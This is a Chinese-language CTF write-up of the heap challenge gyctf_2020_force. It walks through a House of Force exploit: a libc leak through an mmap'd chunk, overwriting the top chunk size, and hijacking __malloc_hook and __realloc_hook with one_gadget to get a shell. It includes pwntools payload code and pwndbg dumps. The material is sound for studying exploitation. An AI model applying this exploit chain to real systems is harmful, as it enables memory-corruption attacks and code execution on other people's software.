前言
搞得我想吐,,,总是出现奇奇怪怪的问题,sendline和send为什么返回的地址不一样,,,
没想到居然是去年高校战役的题,好吧,当时还做了下这个比赛,不过没弄这道题,发现还是一个比较常规的题,house of force
程序流程
堆体,,,只有一个功能(puts函数没有用)
对于add
分配任意大小的chunk,但是固定读入数据0x50大小,所以如果申请的大小小于0x50,就存在堆溢出
漏洞利用
由于题目是保护全开,所以不能覆盖got表
方法:
- 分配超过mmap阈值的堆块 => 经过mmap分配的地址,与libc有固定偏移 => 泄露libc地址
- 正常分配堆块 => 泄露堆地址
- 覆写top chunk‘size为0xffffffffffffffff,就可以将top chunk指针抬高
- 使top chunk落在
__malloc_hook
附近,修改__malloc_hook
和__realloc_hook
__malloc_hook
=> __realloc_hook + 0x10(为了满足one_gadget的限制)
__realloc_hook
=> one_gadget
- malloc一下 => getshell
详细过程
0.基本信息
保护全开,故考虑覆盖__malloc_hook
1 2
| winter@ubuntu:~/buu$ file gyctf_2020_force gyctf_2020_force: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=6d464fea7805860b83ff9bc8f4467dd258ebd04f, stripped
|
1 2 3 4 5 6 7
| winter@ubuntu:~/buu$ checksec gyctf_2020_force [*] '/home/winter/buu/gyctf_2020_force' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
|
1.分配大块
分配一个0x200000的超大块,启用mmap分配,与libc的偏移固定,并计算得到libc_base
1 2 3
| [DEBUG] Received 0x20 bytes: 'bin addr 0x7ff0e84e4010\n' 'content\n'
|
1 2 3 4 5 6 7
| pwndbg> x/30gx 0x7ff0e84e4000 0x7ff0e84e4000: 0x0000000000000000 0x0000000000201002 0x7ff0e84e4010: 0x000a7265746e6977 0x0000000000000000 0x7ff0e84e4020: 0x0000000000000000 0x0000000000000000
pwndbg> x/5s 0x7ff0e84e4010 0x7ff0e84e4010: "winter\n"
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| pwndbg> vmmap LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA 0x559a9f799000 0x559a9f79a000 r-xp 1000 0 /home/winter/buu/gyctf_2020_force 0x559a9f99a000 0x559a9f99b000 r--p 1000 1000 /home/winter/buu/gyctf_2020_force 0x559a9f99b000 0x559a9f99c000 rw-p 1000 2000 /home/winter/buu/gyctf_2020_force 0x7ff0e84e4000 0x7ff0e86e5000 rw-p 201000 0 0x7ff0e86e5000 0x7ff0e88a5000 r-xp 1c0000 0 /lib/x86_64-linux-gnu/libc-2.23.so 0x7ff0e88a5000 0x7ff0e8aa5000 ---p 200000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so 0x7ff0e8aa5000 0x7ff0e8aa9000 r--p 4000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so 0x7ff0e8aa9000 0x7ff0e8aab000 rw-p 2000 1c4000 /lib/x86_64-linux-gnu/libc-2.23.so 0x7ff0e8aab000 0x7ff0e8aaf000 rw-p 4000 0 0x7ff0e8aaf000 0x7ff0e8ad5000 r-xp 26000 0 /lib/x86_64-linux-gnu/ld-2.23.so 0x7ff0e8cb8000 0x7ff0e8cbb000 rw-p 3000 0 0x7ff0e8cd4000 0x7ff0e8cd5000 r--p 1000 25000 /lib/x86_64-linux-gnu/ld-2.23.so 0x7ff0e8cd5000 0x7ff0e8cd6000 rw-p 1000 26000 /lib/x86_64-linux-gnu/ld-2.23.so 0x7ff0e8cd6000 0x7ff0e8cd7000 rw-p 1000 0 0x7fffae287000 0x7fffae2a8000 rw-p 21000 0 [stack] 0x7fffae2c0000 0x7fffae2c3000 r--p 3000 0 [vvar] 0x7fffae2c3000 0x7fffae2c5000 r-xp 2000 0 [vdso] 0xffffffffff600000 0xffffffffff601000 r-xp 1000 0 [vsyscall]
|
1
| [+] libc_base:0x7ff0e86e5000
|
1 2 3 4
| bin_addr = add(0x200000,'winter')
libc_base = 0x200FF0 + bin_addr log.success("libc_base:"+hex(libc_base))
|
2.正常分配
正常分配,得到的地址,是heap的基地址,因为申请0x18的大小,故top chunk就在heap_base+0x10
1 2 3
| [DEBUG] Received 0x20 bytes: 'bin addr 0x559aa0cf3010\n' 'content\n'
|
1 2 3 4 5
| pwndbg> x/30gx 0x559aa0cf3000 0x559aa0cf3000: 0x0000000000000000 0x0000000000000021 0x559aa0cf3010: 0x6161616161616161 0x6161616161616161 0x559aa0cf3020: 0x0000000000000000 0xffffffffffffffff 0x559aa0cf3030: 0x000000000000000a 0x0000000000000000
|
1 2
| [+] heap_base:0x559aa0cf3010 [+] top_chunk:0x559aa0cf3020
|
1 2 3 4 5 6
| payload = 'a' * 0x10 payload += p64(0) + p64(0xffffffffffffffff) heap_base = add(0x18,payload) log.success("heap_base:"+hex(heap_base)) top_chunk = heap_base + 0x10 log.success("top_chunk:"+hex(top_chunk))
|
3.分配到malloc附近
__malloc_hook
-0x33附近有\x7f,故分配到这里
1 2 3 4 5 6
| pwndbg> x/30gx 0x559aa0cf3000 0x559aa0cf3000: 0x0000000000000000 0x0000000000000021 0x559aa0cf3010: 0x6161616161616161 0x6161616161616161 0x559aa0cf3020: 0x0000000000000000 0x00002a5647db6ad1 0x559aa0cf3030: 0x0000000a61616161 0x0000000000000000 0x559aa0cf3040: 0x0000000000000000 0x0000000000000000
|
1 2 3
| target = malloc_hook - top_chunk - 0x33
add(target,'aaaa')
|
1 2 3 4 5
| pwndbg> x/30gx 0x7ff0e8aa9b20 - 0x33 - 5 0x7ff0e8aa9ae8 <_IO_wide_data_0+296>: 0x0000000000000000 0x00007ff0e8aa8260 0x7ff0e8aa9af8: 0xffffd5a9b8249529 0x00007ff0e876aea0 0x7ff0e8aa9b08 <__realloc_hook>: 0x00007ff0e876aa70 0x0000000000000000 0x7ff0e8aa9b18: 0x0000000000000000 0x0000000100000000
|
4.覆写__malloc_hook
用gadget覆写malloc_hook,为了调节栈帧(参考博客),还覆写realloc_hook。
- realloc_hook => one_gadget
- malloc_hook => realloc_hook + 0x10
1 2
| pwndbg> x/30gx 0x7ff0e8aa9b0d - 5 0x7ff0e8aa9b08 <__realloc_hook>: 0x00007ff0e872a27a 0x00007ff0e8769720
|
1 2 3 4 5 6 7
| malloc_hook = libc_base + libc.sym['__malloc_hook'] realloc = libc_base + libc.sym['__libc_realloc']
one_gadget = [0x45226,0x4527a,0xf0364,0xf1207] realloc_data = one_gadget[1] + libc_base malloc_data = realloc + 0x10 add(0x18,'aaaaaaaa' + p64(realloc_data) + p64(malloc_data))
|
5.malloc => getshell
执行一次malloc操作,即可get shell
1 2 3 4
| p.recvuntil("puts") p.sendline(str(1)) p.recvuntil("size") p.sendline(str(24))
|
总结
- 分配超过mmap阈值的堆块 => 经过mmap分配的地址,与libc有固定偏移 => 泄露libc地址
- house of force
- realloc调节栈帧
参考 & 下载
参考博客:
下载: